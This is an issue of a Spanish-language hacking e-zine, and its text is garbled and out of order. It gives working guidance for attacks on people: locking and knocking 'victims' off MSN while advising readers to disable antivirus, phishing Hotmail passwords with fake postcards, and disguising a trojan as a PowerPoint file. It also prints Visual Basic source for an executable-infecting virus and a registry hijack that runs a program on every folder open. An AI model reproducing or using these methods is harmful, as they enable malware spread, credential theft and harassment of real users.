CUH e-zine 3 Edicion


Como lo hace?: Este programa se basa en que Hotmail tiene un bloqueo, si uno intenta iniciar sesin muchas veces tu cuenta queda bloqueada de 1 a 5 horas, si tienes el programa encendido lo intentara siempre y hasta que no lo apagues el/ella no podr entrar. NOTA: Si bloqueaste a alguien y despus de 1 hora entro de nuevo solo cierra el programa y intntalo de nuevo. Solamente se puede aplicar si la persona esta desconectada (si esta conectada solo usa el congelador de mas arriba y en el momento que no este usas el bloqueador y el no podr ingresar mas o por ing. social dile que se salga 10 segundos) Explicare paso a paso el uso del programa. Paso 1: Descargamos el programa de: http://209.85.129.104/search?q=cache:NqV7fvJwIG8 J:ciberadictos.spaces.live.com/blog/cns!71FE242F7B 0E79C9!1428.entry+bloqueador+de+msn&hl=es&ct=cl nk&cd=13&gl=cl&lr=lang_es Paso 2: Lo abrimos y ponemos el mail de tu victima (No puede estar conectada)

Y al apretar tumbar MSN, tu PC se quedar pegada 40 seg., despus vers que tu victima se desconecto, y entrara de nuevo a msn, y se lo haces de nuevo hasta que piense que es un virus xD. Nota: Normalmente los antivirus lo detectan como un Virus. Por qu? Se dice que es por que Microsoft le pago a las casas de Antivirus, ya que nadie ha dado con la solucin para esto, piensa que si cada ves que te metes al MSN tienes que reiniciar el PC. Pero les aseguro que no es un virus solo desactiven su Antivirus y listo, yo lo use y no me paso nada si no lo uso ahora es por que no me parece adecuado. LINK DESCARGA DEL PROGRAMA: http://www.4shared.com/file/25854858/97891d2a/Tu mba_MSN.html Bloquear MSN. Que es un bloqueador de MSN? Un bloqueador de MSN lo que hace es que tu victima no pueda ingresar a su correo ni a su MSN mientras tengas el programa encendido con solo la necesidad de tener su cuenta, sin necesidad de el password.

Listo, hasta que no lo saques no tendr ni MSN ni Hotmail, si lo usas seguido a la misma persona seguramente se terminara por crear otra cuenta, espero que no les haga problema desconectar a alguien de MSN. Nota: Sus AV tambin lo detectaran como virus, pero no les pasara nada se los aseguro.
Hackeo de MSN, las maneras menos complicadas para newbies Esto esta echo especialmente para un newbie, y se basa en hackear a personas con poca experiencia en esto, como la mayora de la gente que usa el computador para escuchar musica, navegar, chatear, y usar el office. Empecemos por lo menos complicado que todos pueden hacer, los llamados correos fake, generalmente se basan en postales, las cuales uno le enva un correo a alguien en el cual para ver la postal hay que logearse a msn, las opciones de los mejores correos fake o lanzadores de exploits son: - Tu email (al cual te llegan las contraseas) -Email falso con el cual le llegar el correo (ideal para poner a alguien conocido de tu victima) - Nombre falso. (Con el cual le llegara el correo)

Hacking Newbie
Utilidades MSN
-Mail verdadero de tu victima. - Mensaje personal que estar en la postal. - Tipo de postal (gusanito, tarjetas bubba, tarjetas NIKO, invitaciones MSN Spaces) -Tipo de correo (Yahoo, Hotmail, Gmail) Listo. Tutorial grafico Entramos a nuestra pgina de postales, y ponemos las opciones, lanzadores. Otros mtodos El famoso keylogger se basa en un programa el cual a travs de conexin cliente/servidor graba todo lo que una persona escribe en su teclado y dependiendo del keylogger graba todas las pginas Web ingresadas y deja tomar capturas de pantalla cada cierto tiempo. Ms informacin en: Troyanos: http://foro.elhacker.com/index.php/topic,85484.0.html Exploits: http://foro.elhacker.com/index.php/board,85.0.html Con mucha imaginacin y con ing. social se puede conseguir un pass solo es cosa de tiempo. Trucos msn posteado por Chavero Cheva: http://foro.elhacker.com/index.php/topic,14287.0.html Bueno le doy las gracias a foro.el-hacker.com y todos los usuarios y todo el excelente equipo de moderadores del foro, ya que gracias a esa comunidad aprend casi todo lo que se y me enseo a ver muchas cosas de forma diferente. Tambin repito que por opinin personal no estoy de acuerdo con algunas cosas mencionadas aqu, pero al ver en las Pg. que lo ms descargado es esto y que muchos entran a este mundo con intenciones como estas les dejo esto para que aprendan bien.

CUH e-zine 3 Edicion

Despus si todo salio bien nos saldr esto, (dependiendo se su Pg. de lanzadores)

Son muy fciles de usar, en el momento de que la victima quiera leer la postal simplemente la redireccionar a una pgina similar a la de inicio de Hotmail en la cual el/ella ingresar sus datos y despus llegaran a tu bandeja de entrada, (dependiendo de la pgina de donde lo mandaste.) Donde encuentro lanzadores de exploits? (Web donde ingreso los datos mencionados arriba y manda la postal) www.google.com , www.cascanolahack.net, www.colombiahack.com etc. Ac tienen una contrasea que me llego, a mi bandeja de entrada de mi correo

Cualquier duda o comentario jano_09_9@hotmail.com (solo recibo mails) Saludos RA19

Gracias a cascanolahack, por su Pg. de

Troyanos y virus
Creacion de troyanos

CUH e-zine 3 Edicion

Crear y Encriptar Troyanos By Angelus_7722


CREAR Y ENCRIPTAR NUESTRO SERVER

no server. Antes que todo, debemos tener en cuenta que el arte que envuelve a la ingeniera social es muy importante al momento de tratar de conseguir nuestro cometido, pero no entrar en detalle ya que este tema se ha tocado en anteriores e-zines. Lo que haremos es maquillar nuestro server para que no sea tan sospechoso y para ello necesitaremos de las siguientes herramientas: Server encriptado Presentacin Power Point (.pps) PowerPoint Slide Show Convert Iexpress MiTeC IconFactory Resoucer Hacker eXeScope

Una de las preguntas mas comunes al momento de crear y encriptar nuestro server, es como podemos engaar a nuestra victima para que sospeche al momento de abrir nuestro

Seleccionamos Simple Mode y veremos lo siguiente

Utilic una presentacin de Power Point como archivo seuelo ya que a todo el mundo le encanta ver este tipo de archivos, por esta razn es recomendable no usar archivos de imgenes debido a que en el explorador de windows, el msn y correos electrnicos, pueden pre visualizar imgenes, generando de esta manera sospechas, debido a que el archivo que estamos enviando es de extensin .exe Bueno, lo primero que vamos a hacer es convertir nuestro archivo lo_mejor.pps en lo_mejor.exe, con el fin de poder utilizar el Iexpress como binder. Como todos saben, el Iexpress es una herramienta propia de Windows que podemos utilizar para unir o juntar dos archivos de extensiones .exe en uno solo tambin de extensin .exe, convirtindose de esta manera en el binder perfecto, indetectable a los anti virus. Para ello utilizamos un programa llamado PowerPoint Slide Show Converter, aunque existen muchos mas que nos sirve para realizar este tipo de conversin. Abrimos Power Point Slide Show Converter:

Ahora solo debemos presionar el botn Make Slide Show para que realice la conversin. Una vez finalizada la conversin presionamos el botn aceptar.

Al final veras el resultado de tu presentacin de Power Point, en un archivo aplicativo.

Luego veremos el menu principal

Troyanos y virus
Creacion de troyanos
Bueno, lo siguiente que haremos es bindear el server encriptado (troyano) con lo_mejor.exe (seuelo).

CUH e-zine 3 Edicion

Le damos doble clic a POWERPNT.EXE y veremos todos los iconos que maneja dicho programa. En este punto debemos seleccionar el icono que deseamos y el de mayor tamao.

No entro en detalle sobre la confifuracin ya que la info la puedes encontrar en foro.el-hacker.com. El resultado del bindeo es un archivo aplicativo o ejecutable como el siguiente:

Lo siguiente que haremos es buscar el Icono de power point, el cual podremos extraer con un programa muy bueno llamado MiTeC IconFactory

Lo que haremos ahora es guardar el icono para ser utilizado mas adelante.

Lo siguiente que haremos es abrir el programa y seleccionar open desde File ubicado en el men principal.

El resultado es un archivo con extensin .ico

Acontinuacion ubicaremos la carpeta de Microsoft office para ubicar el icono de Power Point

El siguiente paso es cambiar el icono de nuestro server, ya que el que tiene actualmente corresponde al asignado por el IExpress. Para poder hacer el cambio utilizamos programa conocidos por todos que es el Resoucer Hacker.

Troyanos y virus
Creacion de troyanos

CUH e-zine 3 Edicion


oprimimos el botn Open File with new Icon.. y ubicamos el archivo POWERPNT_4.ico

Lo que haremos es seleccionar el archivo al que queremos cambiarle el icono, siendo en nuestro caso el server que ya bindeamos y que denominamos como Archivo_IExpress.exe. Despus solo debemos oprimir Replace

Una ves seleccionado el archivo procedemos eliminar la carpeta A VI como lo muestra en la figura.

Como vern los iconos ya fueron cambiados y solo queda guardar los cambio con la opcin save as y elegimos guardar sobre el ya existente es decir en Archivo_IExpress.exe.

El siguiente paso consiste en cambiar el icono, asi que debes seleccionar la opcin Replace Resource

Como se darn cuenta, saldr un mensaje preguntando si desean remplazar el archivo, al cual debern darle yes. Al final y despus de refrescar la ventana donde se encuntra nuestro server, veremos que su icono a cambiado. Ahora lo que debemos hacer es cambiar el icono actual por el icono de Power Point, para ello

Troyanos y virus
Creacion de troyanos

CUH e-zine 3 Edicion

Si detallan el archivo podrn ver datos como Win32 Cabnet Selft-Extractor y Microsoft Corporation, informacin que levantara sospechas. Para dar solucin a este inconveniente usaremos un programa llamado eXeScope

Lo siguiente que haremos es dar en la X para cerrar el programa, pero antes de que se cierra nos pide confirmar el cambio del tamao del archivo al cual le daremos aceptar Lo que debemos hacer es abrir nuestro server con este programa.

Ahora lo que haremos es modificar algunos datos para mejorar su aspecto, FileDescription y CompanyName. Lo primero es dar un clic al botn derecho sobre FileDescription, seleccionamos editar y escribimos lo que queramos, por ejemplo Microsoft Office, lo mismo hacemos con CompanyName, al cual lo cambiaremos por Power Point.

Al final obtendremos un archivo mas creble al que debemos cambiarle el nombre por el original de la presentacin de Power Point, lo_mejor.

Aclaro que lo mas importante es la Ingeniera Social que usemos con nuestras victimas, aunque un poco de ayuda no est mal. Saludos Angelus_7722

Despus de modificarlo veremos algo como

Exploits
Conocimiento Basico De Exploits

CUH e-zine 3 Edicion

Conocimiento Basico De Los Exploits By SkullMaster123


CONOCIMIENTOS BSICOS DE LOS EXPLOITS, VULNERABILIDADES, ETC... Saludos, bueno aqu les voy a explicar conceptos bsicos de los exploits y otras cosas, ya que he visto que muchos users postean esto lo otro, pues aqu les dejo ciertas cosas bsicas! Bueno comencemos:

Tipos de exploits:
Aqu nombrare algunos exploits (Los que me acuerdoXD) su nombre y definicin, algunos tambin, solo son vulnerabilidades o bugs:

Desbordamiento del Buffer:


es un error de software que se produce cuando se copia una cantidad de datos sobre un rea que no es lo suficientemente grande para contenerlos, sobrescribiendo de esta manera otras zonas de memoria. Como consecuencia, se producir una excepcin del acceso a memoria seguido de la terminacin del programa o, si se trata de un usuario obrando con malas intenciones, la explotacin de una vulnerabilidad o agujero de seguridad. Describiendo la tcnica: Un desbordamiento de buffer ocurre cuando los datos que se escriben en un buffer corrompen aquellos datos en direcciones de memoria adyacentes a los destinados para el buffer, debido a una falta de validacin de los datos de entrada

Qu es un exploit?
Los exploits son unas de las muchas maneras de explotar alguna vulnerabilidad en un sistema, cuya seguridad puede ser saltada por este. Al hablar de querer explotar un bug tienes que estar programado dicho exploit en el lenguaje correspondiente y sin ningn error en sus lneas, existen formas diferentes de ejecutarlo ya sea local o remota. Exploit tambin viene de la palabra ingles, que significa explotar, este en realidad es un cdigo

malicioso. Qu es una Vulnerabilidad?


una vulnerabilidad es una debilidad en los procedimientos de seguridad, diseo, implementacin o control interno que podra ser explotada (accidental o intencionalmente) y que resulta en una brecha de seguridad o una violacin de la poltica de seguridad de sistemas

Cross-site scripting o XSS:


Esta es muy conocida, jeje y algunas personas la aprovechan, esto ocurre cuando hay una vulnerabilidad en el HTML o en la validacin de este. Originalmente abarcaba cualquier ataque que permitiera ejecutar cdigo de "scripting", como VBScript o javascript, en el contexto de otro dominio.

Explotar Forma Local:


Este caso nuestro exploit esta en nuestra maquina, a eso se refiere el nombre, Un ejemplo bien visto sobre esta forma de explotar es la shell.

Inyeccin SQL:
Tambin es muy conocida y muy usada esta vulnerabilidad, esta ocurre en el nivel de la validacin de las entradas a la base de datos de una aplicacin. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con cdigo SQL. Es, de hecho, un error de una clase ms general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programacin o de script que est incrustado dentro de otro.(En este caso no seria un exploit sino una vulnerabilidad)

Explotar Remotamente:
En este caso es lo contrario estaramos atacando a algn servidor que tenga red, esto se realiza a travs de puerto, sean privilegiados o no.

Puertos Privilegios:
Esto son menores que 1024, estos estn reservados al S.O

Puertos no privilegios:
Estos son mayores que 1024.

Ataque DoS:
Es un ataque a un sistema de ordenadores o red que causa que un servicio o recurso sea inaccesible a los

Exploits
Conocimiento Basico De Exploits
usuarios legtimos. Normalmente provoca la prdida de la conectividad de la red por el consumo del ancho de banda de la red de la vctima o sobrecarga de los recursos computacionales del sistema de la vctima. Se genera mediante la saturacin de los puertos con flujo de informacin, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice "denegacin".

CUH e-zine 3 Edicion


remitente. Se trata de una tcnica muy empleada en Ingeniera Social. Para poder obtener contraseas de Hotmail, yahoo o cualquier tipo de compaa para los correos electrnicos. Al Enviar un mail y la victima hacer click este se ridereccionaba automticamente al XPLOIT, el cual era una mascara , el Xploit le Peda los datos, exactamente igual como si fuese el Index de Hotmail, Pero una vez Puesto, estas contraseas van al Email del Atacante, luego de ingresar, les sala un error, y tenan que volver a colocar la contrasea pero esta vez, si era el Index de Hotmail, e ingresaban a sus Correos Normalmente. Una gran diferencia que se ha de tomar en cuenta!

ROOT Exploit:
Un rootkit es un utilidad que, archivos en formato exe o bien ejecutables (como quiera llamarse) han sido previamente troyanizados por alguna persona que los program, con el fin de que sta persona pueda permanecer indetectable al momento de permanecer en un sistema que va a comprometer. Esto es muy utilizado por aquellas personas que no cuenta con el conocimiento necesario para poder programar sus propias herramientas para que los mantengan ocultos. Algunos de estos rootkits pueden llegar a modificar el Kernel, llmese en Windows y Linux. Link ROOT Exploit: http://rapidshare.com/files/40261958/rootexploits.ra r.html

Dnde encuentro Exploits?


Bueno hay muchas pginas donde descargarlos aqu dejo algunas: http://www.milw0rm.com/ http://www.securityfocus.com/ http://www.blacksheepnetworks.com/security/hack/ Bueno milworm es buena, pero primero para usar exploits tienes que leer muchos, tambin seria buen que supieras lenguaje de programacin en este caso C, ya que es uno de los mas utilizados para los Exploits, y bueno leer, leer, leer Otra cosa nunca ejecutes un exploit si no sabes lo que hace! Bueno creo que este corto manual menciono ciertas cosas importantes, hasta donde me acuerdo! Espero que lo hallan disfrutado y entendido que es muy importante, bueno un saludo a toda la C.U.H, y si me falto algo disculpen!! Y mis mas sinceras disculpas! ;)

Escner de vulnerabilidades:
Bueno este es un programa que muchas personas que exploten bugs etc deberan tener este escanea algn sitio Web y luego te da un informe de las vulnerabilidades que tienes (Si es que tiene claro) y luego de vez en cuando te da un link de ese exploit! Uno de esos programas es:

Shadow Security Scanner (O SSS)

No basta Solo con Escanear una Pagina Web con Shadow Security Scanner, Acunetix, u Otro, estos software son de auditoria, dejan un Log, Tremendo en la maquina remota, los administradores de estos servidores, si sabrn quien escaneo, aunque utilices Proxy.

Que es un Proxy?
el trmino Proxy hace referencia a un programa o dispositivo que realiza una accin en representacin de otro, en pocas palabras esto oculta tu IP. By-SkullMaster123

Qu es un Xploit?
Esto NO es lo mismo que Exploit, un Xploit es un fake mail, Enviar correo electrnico falseando el

Programacion
Infectar Ficheros Ejecutables

VB

CUH e-zine 3 Edicion

Infectar Ficheros Ejecutables En Windows By ANYD00M


INFECTAR FICHEROS EJECUTABLES Antes que nada me presento, soy ANYD00M y les dejo un artculo sobre como infectar ficheros ejecutables de Windows utilizando el lenguaje Visual Basic 6.0. El siguiente artculo no fue creado con fines de inclusin a algn virus aunque as se exponga, y debe ser utilizado solo con fines educativos y de aprendizaje propio a tu persona. Por ende debes hacerte responsable de tus acciones a la hora de utilizar el contenido, no nos comprometa ;-) --------------------------| HOST | --------------------------| MARCA | --------------------------Bueno, quedo un poco feo, pero da una idea de lo que estamos hablando. Lo terico es solo esto, y esto es lo nico que tienen que saber, ahora comencemos a programar. Primero lo primero Para comenzar debemos realizar los principios bsicos, y comenzamos programando en el Form_Load. Para infectar debemos utilizar una copia del virus que no se este ejecutando en memoria, sino al intentar abrirlo el VB nos dar error. El cdigo estar comentado para no tener que cortarlo con explicaciones: Private Sub Form_Load () 'Declaramos las variables que usaremos. Dim Vx As String, PE As String 'Si nos estbamos ejecutando _ terminamos la aplicacin If App.PrevInstance Then End 'Establecemos a Vx como la ruta completa _ del virus. Vx = App.Path & "\" & App.EXEName & ".exe" Copiamos el virus y reestablecemos el _ valor de la variable. FileCopy Vx, C:\VIRUS.exe Vx = C:\VIRUS.exe 'Establecemos a Pe como la ruta completa _ del ejecutable a infectar. Pe = "C:\HOST.exe" 'Ya tenemos lo que necesitamos, ahora _ solo debemos llamar a la Funcion que _ infectara el archivo, pasndole como _ parmetros la ruta del virus y la del _ archivo a infectar (Pe o C:\HOST.exe) Call InfectarFichero(Vx, Pe) End Sub Bien, ahora debemos crear la funcin que infectara el fichero (en este caso HOST.exe ubicado en la raz C:\). A la Funcin le pasaremos dos parmetros, el primero ser la ruta completa del virus y el segundo

Lo que haremos ser crear una rutina para infectar archivos ejecutables (*.exe) de un sistema utilizando Visual Basic 6.0. El mtodo que usaremos ser el prepending que se basa en introducir los bits del virus sobre los bits del ejecutable original y luego introducirle una marca para saber si esta infectado o no, normalmente al ejecutable a infectar se lo denomina host y as lo llamaremos nosotros tambin. Seguramente ya abran odo hablar del prepending y abran visto su esquema =P. Mirando el esquema se darn una idea mas fluida de lo que estamos hablando, veamos los esquemas que nos indicaran las 3 secuencias por las que pasa el ejecutable al ser infectado. 1er esquema, el fichero ejecutable en su estado original: --------------------------| HOST | --------------------------2do esquema, al fichero se le agregan los bits del virus: --------------------------| VIRUS | --------------------------| HOST | --------------------------3er esquema, se agrega una marca de infectado: --------------------------| VIRUS |

Programacion
Infectar Ficheros Ejecutables
ser la ruta completa del fichero a infectar. Lo que har esta funcin ser abrir de forma binaria el virus, obtener sus bits y bytes, luego abrir el fichero a infectar y agregarle los bits al principio y la marca al final. Eso fue fcil no?, ahora comencemos con la funcin principal: Private Function InfectarFichero(Virus As String, Host As String) 'Declaramos variable/s Dim Marca As String, BtsHost As String 'Establecemos la marca Marca = "HOSTInfectado" 'Abrimos el fichero para saber si esta infectado Open Host For Binary Access Read As #1 'Obtenemos el tamao en bytes _ del fichero BtsHost = Space(LOF(1)) 'Obtenemos todo su contenido. Get #1, , BtsHost 'Cerramos el archivo Close #1 'Miramos si el archivo ya esta infectado If InStr(BtsHost, Marca) <> 0 Then 'Si esta infectado salimos. Exit Function Else 'Sino lo infectamos... 'Establecemos la variable aqu _ ya que si la ponamos al inicio _ y no la usbamos, gastbamos _ espacio en memoria de gusto. Dim BtsVirus 'Abrimos de forma binaria el virus Open Virus For Binary Access Read As #2 'Obtenemos el tamao (en bytes) usando _ la funcin Len(Archivo) BtsVirus = Space(Len(Virus)) 'Obtenemos los bits... Get #2, , BstVirus 'Cerramos el archivo Close #2 'Abrimos el fichero para infectarlo Open Host For Binary Access Write As #3 'Ponemos los bits del virus Put #3, , BtsVirus 'Ponemos los bits del original Put #3, , BtsHost 'Ponemos la marca Put #3, , Marca 'cerramos Close #3 End If End Function

VB

CUH e-zine 3 Edicion

Muy bien, con esto ya tenemos infectado el fichero. Pero Que pasa si queremos que cuando el usuario ejecute el fichero infectado, para no levantar sospechas se ejecute tambin el ejecutable original?. Para esto deberamos crear otra funcin que cree un archivo temporal con los bits del fichero original, lo ejecute y lo elimine. As quedara en memoria el virus y el fichero infectado. Bueno, comencemos: Function DesinfectarFichero(Pe As String) Dim Host As String 'Copiamos para poder abrirlo de forma _ binaria. FileCopy Pe, "C:\Temporal.exe" 'Abrimos y extraemos los bits correspondientes _ al Host. Open "C:\Temporal.exe" For Binary Access Read As #1 'Obtenemos los bits del host, pero ATENCION _ para esto debemos saber los bits que tenia _ nuestro virus al ser compilado, esto lo _ pueden obtener en las propiedades ;) Host = Space(Len("C:\Temporal.exe") - 20382) 'Obtenemos a Host. Get #1, , Host 'Cerramos Close #1 'Ahora creamos otro fichero temporal para poner _ el Host, no es necesario que exista anteriormente _ ya que VB lo crea si no existe. Open "C:\HostTemporal.exe" For Binary Access Write As #2 'Ponemos los bits del host Put #2, , Host 'Cerramos Close #2 'Ejecutamos el Fichero Shell "C:\HostTemporal.exe" 'Eliminamos los archivos temporales: Kill "C:\Temporal.exe" Kill "C:\HostTemporal.exe"

Programacion
Infectar Ficheros Ejecutables
End Function

VB

CUH e-zine 3 Edicion

Y con esto ya habremos terminado, espero les halla servido. Pero a pesar de que tengamos ahora esta valiosa funcin, nos hace falta modificar un poco el Form_Load, para saber ni bien se ejecute el virus si se encuentra alojado en un fichero infectado o si es ejecutado desde su propio ser =P. As que, vamos a agregar unas lneas al Form_Load: Private Sub Form_Load() 'Declaramos las variables que usaremos. Dim Vx As String, Pe As String 'Si nos estbamos ejecutando _ terminamos la aplicacin If App.PrevInstance Then End 'Establecemos a Vx como la ruta completa _ del virus. Vx = App.Path & "\" & App.EXEName & ".exe" '*Lneas agregadas* 'Verificamos si el tamao del virus es _ el correcto o pesa mas. De pesar mas _ suponemos que se encuentra en un fichero _ infectado, as que llamamos a la funcin _ que "desinfecta" If Len(Vx) > 20382 Then Call DesinfectarFichero(Vx) End If 'Establecemos a Pe como la ruta completa _ del ejecutable a infectar. Pe = "C:\HOST.exe" 'Ya tenemos lo que necesitamos, ahora _ solo debemos llamar a la funcin que _ infectara el archivo, pasndole como _ parmetros la ruta del virus y la del _ archivo a infectar (Pe o "C:\HOST.exe" Call InfectarFichero(Vx, Pe) End Sub Les envo un cordial saludo a todos los lectores de la CUH e-zine y espero nos sigan apoyando como lo han hecho. Atte. ANYD00M [Articulo escrito formalmente para la CUH E-Zine #3 de la comunidad El-Hacker.com] NOTAS: -Para obtener el tamao en bytes del virus, una vez que lo hallan compilado se dirigen a l y le hacen clic derecho, van a propiedades y ah les dir el tamao. -La infeccin de ejecutables en un virus supone un motor de bsqueda de archivos que realice esta accin por todo el disco, esto lo podrn encontrar fcilmente en Internet pero yo no lo eh puesto ya que es muy largo.

Programacin
Interceptar apertura carpetas

CUH e-zine 3 Edicion

INTERCEPTAR LA APERTURA DE CARPETAS By ANYD00M


INTERCEPTAR LA APERTURA DE CARPETAS Lo que veremos a continuacin es una manera de interceptar la apertura de una carpeta (cualquier carpeta). El articulo que sigue se aplicara al lenguaje Visual Basic 5.0 o 6.0 y trata sobre como modificar el registro.. un valor, que por defecto ser none (o estar vaci en algunos casos, creo..). Dicho valor (none) es la accin que va a cumplir Windows, y la buscara en las claves que se encuentren dentro de Directory. Si no encuentra dicha accin (none no la va a encontrar por defecto) abrir la carpeta con el archivo Explorer.exe ubicado en el directorio de Windows (%SystemRoot%). Lo que haremos nosotros ser cambiar esa accin, none, por una nuestra. Luego agregar esa accin a la clave Directory y cuando Windows encuentre la clave de la accin lo que pedir ser la aplicacin con que hay que abrir la carpeta, y pues esta ser nuestra aplicacin. Veamos esta pequea rudimentalmente en el Paint xD Esta tcnica es muy simple y no tiene mucho que explicar, as que vemoslo: Cuando se abre una carpeta, al igual que al intentar abrir un fichero, se producen una serie de operaciones que lleva a cabo Windows sobre el registro para saber con que debe mostrar el contenido de dicha carpeta. Esta tcnica se ah visto aplicada a virus, que, como ya saben, las carpetas no se pueden infectar en si, sino su contenido, y esto es lo mas cercano a infectar una carpeta (abrir la misma y que se abra el virus tambin). Lo que veremos nosotros no ser como aplicarla a un virus, ya que no me interesara ensearles eso, sino aplicrselo a una simple aplicacin que nos puede servir como seguridad para nuestras carpetas. Como lo haremos? Pues no creare una aplicacin de seguridad para carpetas, pero seguramente entenders como se puede hacer despus de leer esto. Cuando hacemos doble clic sobre un icono de carpeta, estamos enviando un comando a Windows y este comenzara a analizarlo. Pues bien, Windows reconoce que a lo que se le hizo doble clic era a una carpeta, as que Qu clave de registro tiene que leer para saber como y con que abrirlo? Dicha clave como ya se deben haber imaginado esta en HKEY_CLASSES_ROOT y es Directory (Completa: HKEY_CLASSES_ROOT\Directory). Esta clave contiene otra clave llamada Shell y esta clave tiene imagen hecha

Como vern, la clave final que debemos modificar es: HKEY_CLASSES_ROOT\Directory\Shell y debemos cambiar su valor por defecto por una accin inventada por nosotros, por ej. PROTECTO Luego debemos aadir esa accin, para ello debemos crear una clave dentro de Shell con el nombre PROTECTO y en su valor por defecto poner nuestra aplicacin..

Programacin
Interceptar apertura carpetas

CUH e-zine 3 Edicion


As que antes de empezar con el Form_Load, arreglemos esa lnea, que nos queda as: Wss.RegWrite HKEY_CLASSES_ROOT\Directory\Shell\PROTECT O\, Yo & %1

Y no olviden poner el espacio antes del %1 ya que sino lo hacemos, no lo enva como comando... Ahora si, pasemos al Form_Load: Private Sub Form_Load() Verificamos si recibimos comandos If Command$ <> then Si es as, miramos si es una carpeta If GetAttr Command$ = VbDirectory Then Si es una carpeta, la abrimos con el Explorer.exe Shell %SystemRoot% & \Explorer.exe & Command$ End if End if End Sub Y listo! Ahora si, con eso nos ejecutamos cuando se abre una carpeta y abrimos dicha carpeta. Si quieres hacer una especie de aplicacin para proteger carpetas y todava no se te prendi la lamparita, te dar una idea (pero no har cdigo ;-)) Con el objeto Command$ recibimos la ruta de la carpeta que se esta queriendo abrir, as que, previamente tendremos supnganse un archivo, que contendr todas las carpetas que se desea proteger. As que al recibir los comandos, los comparamos, si es igual a alguno de los que esta en el archivo, pedimos contrasea para abrirlo, si la contrasea es valida la abrimos, sino no la abrimos. Eso es una pequea idea que les podr ayudar. Me despido, les envo un cordial saludo. ANYD00M

Esto seria as: Private Sub CrearAccion() Dim Wss as object, Yo as string Yo = App.Path & \ & App.EXEName & .exe Set Wss = CreateObject(Scripting.FileSystemObject) Aplicamos la accin: Wss.RegWrite HKEY_CLASSES_ROOT\Directory\Shell\, PROTECTO Creamos la accion: Wss.RegWrite HKEY_CLASSES_ROOT\Directory\Shell\PROTECT O\, Yo & %1 End Sub Con esto ya correramos nuestra aplicacion cada vez que se intente abrir una carpeta. Pero no se estara abriendo la carpeta, as que la idea seria que en el Form_Load agreguen unas lneas, que verifiquen si nuestra aplicacin esta recibiendo comandos (se hace con el objeto Command$) y si esos comandos corresponden a una carpeta (lo hacemos con GetAttr). Pero antes debemos arreglar una cosita del cdigo anterior, lo que debemos hacer es agregar despus de nuestra aplicacin en la clave PROTECTO esto: %1 (sin Comillas) eso corresponde a la carpeta que se quiere abrir, para Windows %1 es una variable ;-)

Hacking Newbie
Introduccion Al ASM II

CUH e-zine 3 Edicion

INTRODUCCION AL ASM II By The Shadow INTRODUCCION AL ASM II


ORIENTANDONOS AL CRACKING y VirII
CoDiNg

1- Instrucciones INC y DEC: Estas instrucciones son sumamente simples, pero tengo q explikrlas ya q las usaremos despus. Weno imagnense que es como set a=%a%+1 en batch o a++ en C. INC ~ Increment ~ Incrementa: como su nombre lo dice, aumenta en uno el valor de un registro o de una posicin de memoria. DEC ~ Decrement ~ Decrementa: como su nombre lo dice, disminuye en uno el valor de un registro o de una posicin de memoria. Ejemplos: INC DX ;Incrementa DX en uno DEC DWORD PTR [DI+102] ;Decrementa en uno el valor del DWORD ubikdo en [DI+102] del segmento actual

Uno de los principales usos que se le puede dar a tener un poco de conocimiento del ensamblador, es no estar perdido en tus primeras aproximaciones en el cracking.

En este segundo tuto intentare darles una orientacin bsica a lo que es el assembler que usan los crackers para crackear (XD), sin alejarnos del objetivo artstico de aprender a programar en assembler con aplicacin a la creacin de virus. PD: Algunos puntos de inters para el cracking, como lo son los registros, los obviar en este tuto ya que en la primera parte los expuse. Algo que tenemos q recordar es el registro IP . Cuando me refiera a IP , quiero decir Puntero de Instruccin, el cual recordaremos que es donde se ubica la instruccin que se esta ejecutando en un programa. 0- Instruccin LEA LEA ~ Load Effective Adress ~ Cargar direccin efectiva Bsicamente realiza la funcion de mov, calcula el offset del operando origen, y lo almacena en el destino Sintaxis: lea (reg/pos),(reg/pos) Ejemplo: lea ax,dx

2- Instrucciones de comparacin CMP y TEST: Los valores que contienen las flags que utilizan los saltos, los determinan otros comandos, estos son los "comparadores", de estos podemos mencionar los mnemonicos "cmp" y "test", de los cuales estudiaremos el "cmp". -Sintaxis del "cmp": cmp v1,v2 --donde "v1" corresponde a: un valor hex, un registro o una posicin de memoria. Al igual que "v1", "v2" tambin representa un valor. As, "cmp v1,v2", tomara "v1" como valor de destino y "v2" como valor fuente, luego resta el valor fuente menos el valor de destino y actualiza las flags con el resultado. CMP equivale a un SUB lgico, solo q no guarda sus resultados en los registros, pero si actualiza las flags TEST ~ Comprobar: Equivale a hacer un AND lgico, solo q no modifica registros, solo actualiza las flags. 3- Manejando saltos condicionales: En lenguajes de alto nivel, como el basic, se tienen comandos o sentencias que permiten tener un control sobre las sentencias que se ejecutan en un

Hacking Newbie
Introduccion Al ASM II
programa, a estas les llamaremos "sentencias condicionales", ya que toman en cuenta el cumplimiento de una condicin para seguir con la siguiente; entre estos comandos podemos ver: el "if"(como principal); while; until; etc. En asm tambin tenemos mnemonicos condicionales, los cuales cada uno de ellos representa una condicin especifica. Como principal ejemplo tenemos a los saltos. Estos saltos estan condicionados por los valores que poseen las "flags" (registros especiales que vimos en el 1er tuto). Como ya hemos vistos, el mnemonico "jmp" ~ jump ~ saltar.. se utiliza para saltar a una posicin especifica de memoria determinada ya sea por una etiqueta(en leguajes de macro como en el "TASM") o por una direccin de offset. Tcnicamente esto lo hace incrementando el valor de IP (Puntero de Instruccin). Equivale a un GOTO. Ejemplos: JMP 0046D24C ;salta a CS:0046D24C. JMP etq1 ;salta a la etiqueta "etq1" dentro del macro. . Hay varias derivaciones segn la activacin de diferentes flags. As las derivaciones son: Hexadecimal Assembler Significa 75 o 0F85 74 o 0F84 EB 90 77 o 0F87 OF86 0F83 0F82 0F82 0F83 0F86 0F87 0F8F 0F8E 0F8D 0F8C 0F8C 0F8D 0F8E 0F8F Jne Je Jmp Nop Ja Jna Jae Jnae Jb Jnb Jbe Jnbe Jg Jng Jge Jnge Jl Jnl Jle Jnle Salta si no es equivalente Salta si es equivalente Salta directamente a . . . ( No OPeration operacin Salta si esta sobre Salta si no esta sobre Salta si esta sobre o igual Salta si no esta sobre o igual Salta si es inferior Salta si no es inferior Salta si esta debajo o igual Salta si no esta debajo o igual Salta si es mayor Salta si no es mayor Salta si es mayor o igual Salta si no es mayor o igual Salta si es menor Salta si no es menor Salta si es menor o igual Salta si no es menor o igual ) Sin

CUH e-zine 3 Edicion


